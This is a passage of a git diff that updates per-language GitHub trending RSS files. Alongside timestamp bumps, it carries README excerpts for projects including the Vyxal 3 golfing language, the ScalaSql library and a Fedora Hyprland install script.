<li><input type="checkbox" checked disabled> fix <code>power</code> series application in early chapters, now you can find modulus in the output</li>
<li><input type="checkbox" checked disabled> use <code>UPSafeCell</code> instead of <code>RefCell</code> or <code>spin::Mutex</code> in order to access static data structures and adjust its API so that it cannot be borrowed twice at a time(mention <code>& .exclusive_access().task[0]</code> in <code>run_first_task</code>)</li>
<li><input type="checkbox" checked disabled> move <code>TaskContext</code> into <code>TaskControlBlock</code> instead of restoring it in place on kernel stack(since ch3), eliminating annoying <code>task_cx_ptr2</code></li>
<li><input type="checkbox" checked disabled> replace <code>llvm_asm!</code> with <code>asm!</code></li>
<li><input type="checkbox" checked disabled> expand the fs image size generated by <code>rcore-fs-fuse</code> to 128MiB</li>
<li><input type="checkbox" checked disabled> add a new test named <code>huge_write</code> which evaluates the fs performance(qemu~500KiB/s k210~50KiB/s)</li>
<li><input type="checkbox" checked disabled> flush all block cache to disk after a fs transaction which involves write operation</li>
<li><input type="checkbox" checked disabled> replace <code>spin::Mutex</code> with <code>UPSafeCell</code> before SMP chapter</li>
<li><input type="checkbox" checked disabled> add codes for a new chapter about synchronization & mutual exclusion(uniprocessor only)</li>
<li><input type="checkbox" checked disabled> bug fix: we should call <code>find_pte</code> rather than <code>find_pte_create</code> in <code>PageTable::unmap</code></li>
<li><input type="checkbox" checked disabled> clarify: "check validity of level-3 pte in <code>find_pte</code> instead of checking it outside this function" should not be a bug</li>
<li><input type="checkbox" checked disabled> code of chapter 8: synchronization on a uniprocessor</li>
<li><input type="checkbox" checked disabled> switch the code of chapter 6 and chapter 7</li>
<li><input type="checkbox" checked disabled> support signal mechanism in chapter 7/8(only works for apps with a single thread)</li>
<li><input type="checkbox" checked disabled> Add boards/ directory and support rustdoc, for example you can use <code>cargo doc --no-deps --open</code> to view the documentation of a crate</li>
<li><input type="checkbox" checked disabled> code of chapter 9: device drivers based on interrupts, including UART, block, keyboard, mouse, gpu devices</li>
<li><input type="checkbox" checked disabled> add CI autotest and doc in github</li>
</ul>
<h3>Todo(High priority)</h3>
<ul>
<li><input type="checkbox" disabled> review documentation, current progress: 8/9</li>
<li><input type="checkbox" disabled> use old fs image optionally, do not always rebuild the image</li>
<li><input type="checkbox" disabled> shell functionality improvement(to be continued...)</li>
<li><input type="checkbox" disabled> give every non-zero process exit code an unique and clear error type</li>
<li><input type="checkbox" disabled> effective error handling of mm module</li>
<li><input type="checkbox" disabled> add more os functions for understanding os conecpts and principles</li>
</ul>
<h3>Todo(Low priority)</h3>
<ul>
<li><input type="checkbox" disabled> rewrite practice doc and remove some inproper questions</li>
<li><input type="checkbox" disabled> provide smooth debug experience at a Rust source code level</li>
<li><input type="checkbox" disabled> format the code using official tools</li>
</ul>
<h3>Crates</h3>
<p>We will add them later.</p>
\ No newline at end of file
diff --git a/sage/daily/index.xml b/sage/daily/index.xml
index 6d1b7cfa178..af5d61f3c98 100644
--- a/sage/daily/index.xml
+++ b/sage/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Sage Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:37:20Z
+ 2024-01-04T01:38:15ZDaily Trending of Sage in GitHub
\ No newline at end of file
diff --git a/saltstack/daily/index.xml b/saltstack/daily/index.xml
index 95d0022005e..182fbfe6907 100644
--- a/saltstack/daily/index.xml
+++ b/saltstack/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SaltStack Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:37:20Z
+ 2024-01-04T01:38:15ZDaily Trending of SaltStack in GitHub
\ No newline at end of file
diff --git a/sas/daily/index.xml b/sas/daily/index.xml
index 18ff663ea27..c8e23c713e8 100644
--- a/sas/daily/index.xml
+++ b/sas/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SAS Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:37:19Z
+ 2024-01-04T01:38:14ZDaily Trending of SAS in GitHub
\ No newline at end of file
diff --git a/sass/daily/index.xml b/sass/daily/index.xml
index 7c6e68fbe3b..de3e604468f 100644
--- a/sass/daily/index.xml
+++ b/sass/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Sass Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:37:21Z
+ 2024-01-04T01:38:16ZDaily Trending of Sass in GitHub
\ No newline at end of file
diff --git a/scala/daily/index.xml b/scala/daily/index.xml
index 0420f532fea..dfcafd517e6 100644
--- a/scala/daily/index.xml
+++ b/scala/daily/index.xml
@@ -1,14 +1,14 @@
GitHub Scala Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:37:27Z
+ 2024-01-04T01:38:22ZDaily Trending of Scala in GitHub
- Vyxal/Vyxal
- 2024-01-03T01:37:27Z
- tag:github.com,2024-01-03:/Vyxal/Vyxal
-
- <p>A code-golfing language experience that has aspects of traditional programming languages - terse, elegant, readable.</p><hr><h1>Vyxal 3 - Better than Ever</h1>
<p><em>If you are looking for version 2 of Vyxal, you can find it <a href="https://github.com/Vyxal/Vyxal/tree/version-2">here</a></em></p>
<p>Vyxal is an stack-based esoteric array language that is dedicated to dominating competition in code golf challenges. This means that it strips away all need for boilerplate, long function names and impractical source layouts. However, it also has a more traditional and familiar way of expressing itself if needed. Vyxal 3 is the third major iteration of the language that drives home this key design goal. Here's how.</p>
<h2>What's the Same as Version 2?</h2>
<p>Vyxal 3 is still a stack based programming language that uses a Single Byte Code Set (SBCS) for scoring well in code golf. It also retains some of the key features of. version 2, such as contexts, modifiers and many, many type overloads.</p>
<p>It also maintains the more prac-lang-centric features such as variables and comments that version 2 has.</p>
<p>That's about it.</p>
<h2>Because here's what's new in version 3</h2>
<h3>Literate Mode</h3>
<p>Ever wanted to write vyxal without needing an on screen keyboard or editor shortcuts? Well now you can! Literate mode is designed to allow you to write vyxal 3 programs in complete ascii while maintaining a SBCS score. It does this by simply converting the literate code into sbcs code. Wanna see it in action?</p>
<pre><code>## A collatz conjecture program
stdin := n ## read the input into n
(. scan-fix: {if even? then halve else increment endif}) := collatz
$n $collatz call
</code></pre>
<p>(<a href="https://vyxal.github.io/latest.html#WyJsIiwiIiwiIyMgQSBjb2xsYXR6IGNvbmplY3R1cmUgcHJvZ3JhbVxuc3RkaW4gOj0gbiAjIyByZWFkIHRoZSBpbnB1dCBpbnRvIG5cbiguIHNjYW4tZml4OiB7aWYgZXZlbj8gdGhlbiBoYWx2ZSBlbHNlIGluY3JlbWVudCBlbmRpZn0pIDo9IGNvbGxhdHpcbiRuICRjb2xsYXR6IGNhbGwiLCIiLCIiLCIzLjAuMCJd">Try it Online!</a>)</p>
<p>turns into:</p>
<pre><code>?#=nโธ แตกฮป#{e|ยฝ|๊}#{}#=collatz#$n#$collatzฤ
</code></pre>
<p>(<a href="https://vyxal.github.io/latest.html#WyIiLCIiLCI/Iz1u4rig4bWhzrsje2V8wr186pydfSN7fSM9Y29sbGF0eiMkbiMkY29sbGF0esSWIiwiIiwiIiwiMy4wLjAiXQ==">Try it Online!</a>)</p>
<hr>
<pre><code>## The classic fizzbuzz
100 map{
n [3, 5] divides?
"FizzBuzz" halve
dot-product maximum
} join-on-newlines
</code></pre>
<p>(<a href="https://vyxal.github.io/latest.html#WyJsIiwiIiwiIyMgVGhlIGNsYXNzaWMgZml6emJ1enpcbjEwMCBtYXB7XG4gIG4gWzMsIDVdIGRpdmlkZXM/XG4gIFwiRml6ekJ1enpcIiBoYWx2ZVxuICBkb3QtcHJvZHVjdCBtYXhpbXVtXG59IGpvaW4tb24tbmV3bGluZXMiLCIiLCIiLCIzLjAuMCJd">Try it Online!</a>)</p>
<p>turns into:</p>
<pre><code>100Mฮปn#[3|5#]แธ"FizzBuzz"ยฝแธG}แน
</code></pre>
<p>(<a href="https://vyxal.github.io/latest.html#WyIiLCIiLCIxMDBNzrtuI1szfDUjXeG4ilwiRml6ekJ1enpcIsK94biLR33huYUiLCIiLCIiLCIzLjAuMCJd">Try it Online!</a>)</p>
<hr>
<pre><code>## How about something that generates all the fibonacci numbers?
## Like actually all of them
relation add from [1, 1] end
## is it really that simple?!
</code></pre>
<p>(<a href="https://vyxal.github.io/latest.html#WyJsIiwiIiwicmVsYXRpb24gYWRkIGZyb20gWzEsIDFdIGVuZCIsIiIsIiIsIjMuMC4wIl0=">yes!</a>)</p>
<p>turns into:</p>
<pre><code>แน+|#[1|1#]}
</code></pre>
<p>(<a href="https://vyxal.github.io/latest.html#WyIiLCIiLCLhuYYrfCNbMXwxI119IiwiIiwiIiwiMy4wLjAiXQ==">Try it Online!</a>)</p>
<p>Isn't it snazzy? You can finally do well at golf without needing to smash your head on a weird looking keyboard!</p>
<h3>More modifiers</h3>
<p>Notice that <code>scan-fix:</code> in the collatz example? That's a modifier! "But version 2 already has modifiers, you said so yourself!" you say. Well version 2 had a very limited selection of modifiers, as they were more experimental at the time. Now, there's like 20 modifiers, all waiting to be used. Plus, they've gotten a little upgrade, in the form of</p>
<h3>Arity grouping</h3>
<p>Ever wanted to use jelly but realised it's way too hard? (who even sells hard jelly anyway? I thought the whole point was that it was soft and jiggly.) Well forget about using <a href="https://github.com/nickbclifford/Ohm#ohm-">Ohm</a>, because Vyxal 3 just got its own element grouping based on arity system. Plus it's much easier to understand!</p>
<p>Say you have a nilad followed by a monad (basically a constant followed by something that takes a single thing). Usually this sequence would be treated as two elements. However, it's obvious that the monad is going to operate directly on the nilad, as it's the same as writing <code>monad(nilad)</code>. So instead of treating it as 2 things, it treats it as a single thing. This is useful for modifiers because you might have a situation where you can squeeze an extra element into what a modifier modifies where you wouldn't have been able to do so previously.</p>
<h3>Variable Buffs</h3>
<p>But that's all esolang specific stuff. If you've never used a golfing language before, you're probably wondering what all of that element stuff means. Well I've got prac-lang material for you that I think you'll love.</p>
<p>To define a variable:</p>
<pre><code>value #=name (sbcs)
value := name (literate)
</code></pre>
<p>And to retrieve its value:</p>
<pre><code>#$name (sbcs)
$name (literate)
</code></pre>
<p>"that's all good and well, but that's the same capabilities of version 2, how is that a buff?"</p>
<p>Because a) augmented variable assignment:</p>
<pre><code>function #>name (SBCS)
function :> name (literate)
</code></pre>
<p>(works with any element or function, not just the regular <code>+=</code>, <code>-=</code>, <code>*=</code> etc you're probably used to seeing)</p>
<p>And b) variable unpacking</p>
<pre><code>#:[x|y|z] (SBCS)
:=[x|y|z] (literate)
</code></pre>
<p>Variable unpacking can support any number of depths (e.g. <code>[a|b|[[[[c|d]]]|e]|f]</code>). Think of it like tuple unpacking in python but a little more powerful.</p>
<h3>Whole New Built-in Set</h3>
<p>The entire list of elements has been re-worked to remove some unnecessary overloads in version 2, and add some sorely missing elements that would make golfing a lot easier and shorter.</p>
<p>For a more specific overview of Vyxal 3, check out the <a href="https://raw.githubusercontent.com/Vyxal/Vyxal/version-3/documentation/Tour.md">tour</a></p>
<h2>How do I run Vyxal 3?</h2>
<p>There's a few methods:</p>
<ol>
<li> <p>Head over to <a href="https://raw.githubusercontent.com/Vyxal/Vyxal/version-3/vyxal.github.io/latest">the online interpreter</a> (this is the easiest).</p> </li>
<li> <p>Download one of the release <code>jar</code> files, and run using</p> </li>
</ol>
<pre><code>java -jar vyxal-jar <arguments>
</code></pre>
<ol start="3">
<li> <p>Download one of the executables for your platform and run as you would usually run an executable.</p> </li>
<li> <p>Download the repository source and run with <code>./mill jvm.run</code>. See <a href="https://raw.githubusercontent.com/Vyxal/Vyxal/version-3/contributing/Building.md">Building.md</a> for more details.</p> </li>
</ol>
<h2>Contributing</h2>
<p>For instructions on how to set up a development environment and an overview of how the interpreter works, see the <a href="https://raw.githubusercontent.com/Vyxal/Vyxal/version-3/contributing/"><code>contributing</code></a> folder.</p>
<h2>Links</h2>
<ul>
<li><a href="https://github.com/Vyxal/Vyxal">Repository</a></li>
<li><a href="http://vyxal.github.io">Online Interpreter</a></li>
<li><a href="https://vyxapedia.hyper-neutrino.xyz/beginners">Tutorial</a></li>
<li><a href="https://chat.stackexchange.com/rooms/106764/vyxal">Main Chat Room (SE Chat)</a></li>
<li><a href="https://discord.gg/hER4Avd6fz">Vycord (Discord)</a></li>
<li><a href="https://github.com/Vyxal/Vyxal/raw/main/documents/knowledge/elements.md">Elements</a></li>
<li><a href="https://vyxapedia.hyper-neutrino.xyz/">Vyxapedia</a></li>
</ul>
<p>Enjoy the cookies.</p>
+ com-lihaoyi/scalasql
+ 2024-01-04T01:38:22Z
+ tag:github.com,2024-01-04:/com-lihaoyi/scalasql
+
+ <p>Query SQL databases from Scala via concise, type-safe, and familiar case classes and collection operations</p><hr><h1>ScalaSql</h1>
<p>ScalaSql is a Scala library that allows type-safe low-boilerplate querying of SQL databases, using "standard" Scala collections operations running against typed <code>Table</code> descriptions.</p>
<pre><code class="language-scala">import scalasql._, SqliteDialect._
// Define your table model classes
case class City[T[_]](
id: T[Int],
name: T[String],
countryCode: T[String],
district: T[String],
population: T[Long]
)
object City extends Table[City]
// Connect to your database (example uses in-memory sqlite, org.xerial:sqlite-jdbc:3.43.0.0)
val dataSource = new org.sqlite.SQLiteDataSource()
dataSource.setUrl(s"jdbc:sqlite:file.db")
lazy val dbClient = new scalasql.DbClient.DataSource(
dataSource,
config = new scalasql.Config {
override def nameMapper(v: String) = v.toLowerCase() // Override default snake_case mapper
override def logSql(sql: String, file: String, line: Int) = println(s"$file:$line $sql")
}
)
dbClient.transaction{ db =>
// Initialize database table schema and data
db.updateRaw(os.read(os.Path("scalasql/test/resources/world-schema.sql", os.pwd)))
db.updateRaw(os.read(os.Path("scalasql/test/resources/world-data.sql", os.pwd)))
// Adding up population of all cities in China
val citiesPop = db.run(City.select.filter(_.countryCode === "CHN").map(_.population).sum)
// SELECT SUM(city0.population) AS res FROM city city0 WHERE city0.countrycode = ?
println(citiesPop)
// 175953614
// Finding the 5-8th largest cities by population
val fewLargestCities = db.run(
City.select
.sortBy(_.population).desc
.drop(5).take(3)
.map(c => (c.name, c.population))
)
// SELECT city0.name AS res__0, city0.population AS res__1
// FROM city city0 ORDER BY res__1 DESC LIMIT ? OFFSET ?
println(fewLargestCities)
// Seq((Karachi, 9269265), (Istanbul, 8787958), (Ciudad de Mรฉxico, 8591309))
}
</code></pre>
<p>ScalaSql supports PostgreSQL, MySQL, Sqlite, and H2 databases. Support for additional databases can be easily added.</p>
<p>ScalaSql is a relatively new library, so please try it out, but be aware you may hit bugs or missing features! Please open <a href="https://github.com/com-lihaoyi/scalasql/discussions">Discussions</a> for any questions, file <a href="https://github.com/com-lihaoyi/scalasql/issues">Issues</a> for any bugs you hit, or send <a href="https://github.com/com-lihaoyi/scalasql/pulls">Pull Requests</a> if you are able to investigate and fix them!</p>
<h2>Getting Started</h2>
<p>To get started with ScalaSql, add it to your <code>build.sc</code> file as follows:</p>
<pre><code class="language-scala">ivy"com.lihaoyi::scalasql:0.1.0"
</code></pre>
<h2>Documentation</h2>
<ul>
<li> <p>ScalaSql Quickstart Examples: self-contained files showing how to set up ScalaSql with a variety of supported databases and perform simple DDL and <code>SELECT</code>/<code>INSERT</code>/<code>UPDATE</code>/<code>DELETE</code> operations:</p>
<ul>
<li><a href="https://raw.githubusercontent.com/com-lihaoyi/scalasql/main/scalasql/test/src/example/PostgresExample.scala">Postgres</a></li>
<li><a href="https://raw.githubusercontent.com/com-lihaoyi/scalasql/main/scalasql/test/src/example/MySqlExample.scala">MySql</a></li>
<li><a href="https://raw.githubusercontent.com/com-lihaoyi/scalasql/main/scalasql/test/src/example/SqliteExample.scala">Sqlite</a></li>
<li><a href="https://raw.githubusercontent.com/com-lihaoyi/scalasql/main/scalasql/test/src/example/H2Example.scala">H2</a></li>
<li><a href="https://raw.githubusercontent.com/com-lihaoyi/scalasql/main/scalasql/test/src/example/HikariCpExample.scala">HikariCP</a> (and other connection pools)</li>
</ul> </li>
<li> <p><a href="https://raw.githubusercontent.com/com-lihaoyi/scalasql/main/docs/tutorial.md">ScalaSql Tutorial</a>: a structured walkthrough of how to use ScalaSql, connecting to a database and writing queries to <code>SELECT</code>/<code>INSERT</code>/<code>UPDATE</code>/<code>DELETE</code> against it to perform useful work. Ideal for newcomers to work through from top to bottom when getting started with the library.</p> </li>
<li> <p><a href="https://raw.githubusercontent.com/com-lihaoyi/scalasql/main/docs/cheatsheet.md">ScalaSql Cheat Sheet</a>: a compact summary of the main features of ScalaSql and the syntax to make use of them.</p> </li>
<li> <p><a href="https://raw.githubusercontent.com/com-lihaoyi/scalasql/main/docs/reference.md">ScalaSql Reference</a>: a detailed listing of ScalaSql functionality, comprehensively covering everything that ScalaSql supports, in a single easily searchable place. Ideal for looking up exactly methods/operators ScalaSql supports, looking up how ScalaSql code translates to SQL, or looking up SQL syntax to find out how to express it using ScalaSql. Useful subsections include:</p>
<ul>
<li><a href="https://raw.githubusercontent.com/com-lihaoyi/scalasql/main/docs/reference.md#dbapi">DbApi</a>, covering the main methods you can all to execute queries</li>
<li><a href="https://raw.githubusercontent.com/com-lihaoyi/scalasql/main/docs/reference.md#transaction">Transaction</a>, covering usage of transactions and savepoints</li>
<li><a href="https://raw.githubusercontent.com/com-lihaoyi/scalasql/main/docs/reference.md#select">Select</a>, <a href="https://raw.githubusercontent.com/com-lihaoyi/scalasql/main/docs/reference.md#insert">Insert</a>, <a href="https://raw.githubusercontent.com/com-lihaoyi/scalasql/main/docs/reference.md#update">Update</a>, <a href="https://raw.githubusercontent.com/com-lihaoyi/scalasql/main/docs/reference.md#delete">Delete</a>: covering operations on the primary queries you are likely to use</li>
<li><a href="https://raw.githubusercontent.com/com-lihaoyi/scalasql/main/docs/reference.md#join">Join</a>, covering different kinds of joins</li>
<li><a href="https://raw.githubusercontent.com/com-lihaoyi/scalasql/main/docs/reference.md#returning">Returning</a>, <a href="https://raw.githubusercontent.com/com-lihaoyi/scalasql/main/docs/reference.md#onconflict">On Conflict</a>: covering these modifiers on <code>INSERT</code> and <code>UPDATE</code> for the databases that support them</li>
<li><a href="https://raw.githubusercontent.com/com-lihaoyi/scalasql/main/docs/reference.md#exprops">Expression Operations</a>, covering the different types of <code>Expr[T]</code> values and the different operations you can do on each one</li>
<li><a href="https://raw.githubusercontent.com/com-lihaoyi/scalasql/main/docs/reference.md#optional">Option Operations</a>, operations on <code>Expr[Option[T]</code></li>
<li><a href="https://raw.githubusercontent.com/com-lihaoyi/scalasql/main/docs/reference.md#windowfunctions">Window Functions</a>, <a href="https://raw.githubusercontent.com/com-lihaoyi/scalasql/main/docs/reference.md#withcte">With-Clauses/Common-Table-Expressions</a></li>
<li><a href="https://raw.githubusercontent.com/com-lihaoyi/scalasql/main/docs/reference.md#postgresdialect">Postgres</a>, <a href="https://raw.githubusercontent.com/com-lihaoyi/scalasql/main/docs/reference.md#mysqldialect">MySql</a>, <a href="https://raw.githubusercontent.com/com-lihaoyi/scalasql/main/docs/reference.md#sqlitedialect">Sqlite</a>, <a href="https://raw.githubusercontent.com/com-lihaoyi/scalasql/main/docs/reference.md#h2dialect">H2</a> Dialects: operations that are specific to each database that may not be generally applicable</li>
</ul> </li>
<li> <p><a href="https://raw.githubusercontent.com/com-lihaoyi/scalasql/main/docs/design.md">ScalaSql Design</a>: discusses the design of the ScalaSql library, why it is built the way it is, what tradeoffs it makes, and how it compares to other common Scala database query libraries. Ideal for contributors who want to understand the structure of the ScalaSql codebase, or for advanced users who may need to understand enough to extend ScalaSql with custom functionality.</p> </li>
<li> <p><a href="https://raw.githubusercontent.com/com-lihaoyi/scalasql/main/docs/developer.md">Developer Docs</a>: things you should read if you want to make changes to the <code>com-lihaoyi/scalasql</code> codebase</p> </li>
</ul>
<h2>Changelog</h2>
<h3>0.1.0</h3>
<ul>
<li>First release!</li>
</ul>
<h1>TODO</h1>
<ul>
<li>Scala 3 support</li>
<li>JSON columns</li>
<li>Add datetime functions</li>
<li>Make <code>implicit ctx =></code> for defining <code>sql"..."</code> snippets optional</li>
</ul>
\ No newline at end of file
diff --git a/scaml/daily/index.xml b/scaml/daily/index.xml
index b559bdab5b9..7a3c53b439e 100644
--- a/scaml/daily/index.xml
+++ b/scaml/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Scaml Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:37:24Z
+ 2024-01-04T01:38:18ZDaily Trending of Scaml in GitHub
\ No newline at end of file
diff --git a/scheme/daily/index.xml b/scheme/daily/index.xml
index 2f1d3c52261..e450b1ff8f0 100644
--- a/scheme/daily/index.xml
+++ b/scheme/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Scheme Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:37:23Z
+ 2024-01-04T01:38:19ZDaily Trending of Scheme in GitHub
\ No newline at end of file
diff --git a/scilab/daily/index.xml b/scilab/daily/index.xml
index bc5fa9638f4..ad73a00297b 100644
--- a/scilab/daily/index.xml
+++ b/scilab/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Scilab Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:37:34Z
+ 2024-01-04T01:38:30ZDaily Trending of Scilab in GitHub
\ No newline at end of file
diff --git a/scss/daily/index.xml b/scss/daily/index.xml
index 66ca3423955..c7bc3d3d0a5 100644
--- a/scss/daily/index.xml
+++ b/scss/daily/index.xml
@@ -1,7 +1,14 @@
GitHub SCSS Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:37:37Z
+ 2024-01-04T01:38:33ZDaily Trending of SCSS in GitHub
+
+ luxonis/depthai-model-zoo
+ 2024-01-04T01:38:33Z
+ tag:github.com,2024-01-04:/luxonis/depthai-model-zoo
+
+ <p>DepthAI Model Zoo is a collection of open-source neural network models and datasets created and maintained by DepthAI developers and community</p><hr>
+
\ No newline at end of file
diff --git a/sed/daily/index.xml b/sed/daily/index.xml
index 0c19b41351c..e00ab12ad87 100644
--- a/sed/daily/index.xml
+++ b/sed/daily/index.xml
@@ -1,7 +1,7 @@
GitHub sed Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:37:35Z
+ 2024-01-04T01:38:31ZDaily Trending of sed in GitHub
\ No newline at end of file
diff --git a/self/daily/index.xml b/self/daily/index.xml
index 3df5b80a757..7592399d6a1 100644
--- a/self/daily/index.xml
+++ b/self/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Self Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:37:33Z
+ 2024-01-04T01:38:30ZDaily Trending of Self in GitHub
\ No newline at end of file
diff --git a/selinux-policy/daily/index.xml b/selinux-policy/daily/index.xml
index 2fc0d2a4981..626aebdb8d0 100644
--- a/selinux-policy/daily/index.xml
+++ b/selinux-policy/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SELinux Policy Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:37:38Z
+ 2024-01-04T01:38:34ZDaily Trending of SELinux Policy in GitHub
\ No newline at end of file
diff --git a/shaderlab/daily/index.xml b/shaderlab/daily/index.xml
index dd1639f2e0c..30e3fd6a11b 100644
--- a/shaderlab/daily/index.xml
+++ b/shaderlab/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ShaderLab Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:37:40Z
+ 2024-01-04T01:38:36ZDaily Trending of ShaderLab in GitHub
\ No newline at end of file
diff --git a/shell/daily/index.xml b/shell/daily/index.xml
index e743d47de8c..c53da1c369d 100644
--- a/shell/daily/index.xml
+++ b/shell/daily/index.xml
@@ -1,21 +1,7 @@
GitHub Shell Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:37:43Z
+ 2024-01-04T01:38:39ZDaily Trending of Shell in GitHub
-
- JaKooLit/Fedora-Hyprland
- 2024-01-03T01:37:43Z
- tag:github.com,2024-01-03:/JaKooLit/Fedora-Hyprland
-
- <p>For automated installation of Hyprland on Fedora on any Fedora based distros</p><hr><div align="center">
<h3>๐ ** JaKooLit's Fedora Hyprland Install Script ** ๐</h3>
<p><img src="https://img.shields.io/github/stars/JaKooLit/Fedora-Hyprland?style=for-the-badge&color=cba6f7" alt="GitHub Repo stars"> <img src="https://img.shields.io/github/last-commit/JaKooLit/Fedora-Hyprland?style=for-the-badge&color=b4befe" alt="GitHub last commit"> <img src="https://img.shields.io/github/repo-size/JaKooLit/Fedora-Hyprland?style=for-the-badge&color=cba6f7" alt="GitHub repo size"></p>
<br>
</div>!
<h4>๐ท Hyprland-Dots-v2 Featuring Rofi</h4>
<p align="center"> <img align="center" width="49%" src="https://raw.githubusercontent.com/JaKooLit/screenshots/main/Hyprland-ScreenShots/Fedora-v2/rofi.png"> <img align="center" width="49%" src="https://raw.githubusercontent.com/JaKooLit/screenshots/main/Hyprland-ScreenShots/Fedora-v2/Light.png"> </p>
<p align="center"> <img align="center" width="49%" src="https://raw.githubusercontent.com/JaKooLit/screenshots/main/Hyprland-Dots-Showcase/default-waybar.png"> <img align="center" width="49%" src="https://raw.githubusercontent.com/JaKooLit/screenshots/main/Hyprland-Dots-Showcase/rofi.png"> <img align="center" width="49%" src="https://raw.githubusercontent.com/JaKooLit/screenshots/main/Hyprland-Dots-Showcase/wlogout-dark.png"> <img align="center" width="49%" src="https://raw.githubusercontent.com/JaKooLit/screenshots/main/Hyprland-Dots-Showcase/showcase2.png" "> <img align="center" width="49%" src="https://raw.githubusercontent.com/JaKooLit/screenshots/main/Hyprland-Dots-Showcase/waybar-layout.png"> <img align="center" width="49%" src="https://raw.githubusercontent.com/JaKooLit/screenshots/main/Hyprland-Dots-Showcase/waybar-style.png" "> </p>
<h4>โ Installed on Nobara ๐ฅฐ</h4>
<p><img src="https://github.com/JaKooLit/screenshots/raw/main/Hyprland-ScreenShots/Fedora/Hyprland-Nobara.png" alt="alt text"></p>
<h4>๐ธ More up to date screenshots <a href="https://github.com/JaKooLit/screenshots/tree/main/Hyprland-Dots-Showcase"><code>Link</code></a></h4>
<h4>๐ท Older Screenshots <a href="https://github.com/JaKooLit/screenshots/tree/main/Hyprland-ScreenShots/Fedora"><code>V1</code></a> & <a href="https://github.com/JaKooLit/screenshots/tree/main/Hyprland-ScreenShots/Fedora-v2"><code>V2</code></a></h4>
<h4>โจ Youtube presentation <a href="https://youtu.be/w2dt4GlHjV0"><code>v1</code></a></h4>
<h4>โจ Youtube presentation <a href="https://youtu.be/_U_WR33XNYY"><code>v2</code></a></h4>
<h4>โจ A video walk through my dotfiles<a href="https://youtu.be/fO-RBHvVEcc?si=ijqxxnq_DLiyO8xb"><code>Link</code></a></h4>
<h4>โจ A video walk through of My Hyprland-Dots v2<a href="https://youtu.be/yaVurRoXc-s?si=iDnBC5S3thPBX3ZE"><code>Link</code></a></h4>
<h3>๐ชง๐ชง๐ชง ANNOUNCEMENT ๐ชง๐ชง๐ชง</h3>
<ul>
<li>This Repo does not contain Hyprland Dots or configs! Dotfiles can be checked here <a href="https://github.com/JaKooLit/Hyprland-Dots"><code>Hyprland-Dots</code></a> . During installation, if you opt to copy installation, it will be downloaded from that centralized repo.</li>
<li>Hyprland-Dots use are constantly evolving / improving. you can check CHANGELOGS here <a href="https://github.com/JaKooLit/Hyprland-Dots/wiki/Changelogs"><code>Hyprland-Dots-Changelogs</code></a></li>
<li>Since the Hyprland-Dots are evolving, some of the screenshots maybe old</li>
<li>the wallpaper offered to be downloaded towards the end is from this <a href="https://github.com/JaKooLit/Wallpaper-Bank"><code>REPO</code></a></li>
</ul>
<blockquote>
<p>[!IMPORTANT] install a backup tool like <code>snapper</code> or <code>timeshift</code>. and Backup your system before installing hyprland using this script. This script does NOT include uninstallation of packages</p>
</blockquote>
<h4>โจ Some notes on installation / Pre-requisites</h4>
<ul>
<li>This install script was tested on Minimal Fedora using Fedora Everything <a href="https://youtu.be/_U_WR33XNYY"><code>Link</code></a></li>
<li>This script is meant to install in any Fedora Work stations and its Spins.</li>
<li>if starting from scratch, recommended spin to install is the Sway Spin. However, I have tested this script in Fedora Workstation (gnome), Plasma Spin and Sway</li>
<li>I have not tested in any other spin. However, if you decided to try, recommend to install SDDM. Apart from GDM and SDDM, any other Login Manager may not work nor launch Hyprland. However, hyprland can be launched through tty by type Hyprland</li>
<li>If you have nvidia, and wanted to use proprietary drivers, uninstall nouveau first (if installed). This script will be installing proprietary nvidia drivers and will not deal with removal of nouveau.</li>
</ul>
<h4>โ ๏ธ WARNING! If you have GDM already as log-in manager, DO NOT install SDDM</h4>
<ul>
<li>You will likely to encounter issues</li>
</ul>
<h4>โ ๏ธ WARNING! nwg-look takes long time to install.</h4>
<ul>
<li>nwg-look is a utility to costumize your GTK theme. It's a LXAppearance like. Its a good tool though but this package is entirely optional</li>
</ul>
<h4>โจ Costumize the packages and COPR Repos</h4>
<ul>
<li>inside the install-scripts folder, you can edit 00-hypr-pkgs.sh, copr.sh, etc. Care though as the Hyprland Dots might not work properly</li>
<li>default GTK theme if agreed to be installed is Tokyo night GTK themes (dark and light) + Tokyo night SE icons + Bibata Cursor</li>
</ul>
<h4>๐ซ SDDM and GTK Themes offered</h4>
<ul>
<li>If you opted to install SDDM theme, here's the <a href="https://github.com/JaKooLit/simple-sddm"><code>LINK</code></a></li>
<li>If you opted to install GTK Themes, Icons and Cursor offered are Tokyo Nights. <a href="https://github.com/JaKooLit/GTK-themes-icons"><code>LINK</code></a> & Bibata Cursor Modern Ice</li>
</ul>
<h4>๐ NOTICE TO NVIDIA OWNERS</h4>
<ul>
